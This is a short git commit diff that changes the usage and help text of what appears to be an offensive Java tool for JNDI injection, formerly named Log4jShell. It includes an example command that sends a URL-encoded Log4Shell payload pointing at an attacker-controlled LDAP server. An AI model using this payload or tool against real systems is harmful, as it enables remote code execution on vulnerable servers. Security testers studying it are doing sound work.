This commit is contained in:
SearchNull
2022-01-19 15:34:23 +08:00
parent fb40c9efbb
commit 0736ae2c15

View File

@@ -110,9 +110,9 @@ public class StartUp {
* @description: 打印帮助信息
*/
private static void printUsage() {
System.out.println("Log4jShell Author:SearchNull\n");
System.out.println("JNDI-Inject-Exploit Author:SearchNull\n");
System.out.println("Usage: \n");
System.out.println("java -jar JNDI-Inject-Exploit-0.1-all.jar [options]\n" +
System.out.println("java -jar JNDI-Inject-Exploit-[version]-all.jar [options]\n" +
"\n" +
"Options:\n" +
" ip LDAP Server IP如VPS则指定公网IP\n" +
@@ -122,8 +122,8 @@ public class StartUp {
" method 指定HTTP请求方法默认为GET\n" +
" headers 指定HTTP请求头以分号分隔多个请求头以=分隔key,value\n" +
" body 指定HTTP请求体内容\n" +
" proxy 指定HTTP请求使用的代理eg: 127.0.0.1:8080, 只支持Http/S");
System.out.println("Example: java -jar Log4j2Shell-0.1-all.jar ip=\"192.168.9.176\" url=\"http://192.168.9.120:8190/log?id=$%7bjndi:ldap://192.168.9.176:1389/EvilObject%7d\"");
" proxy 指定HTTP请求使用的代理eg: 127.0.0.1:8080, 只支持Http/S\n");
System.out.println("Example: java -jar JNDI-Inject-Exploit-0.3-all.jar ip=\"192.168.9.176\" url=\"http://192.168.9.120:8190/log?id=$%7bjndi:ldap://192.168.9.176:1389/EvilObject%7d\"");
}
/**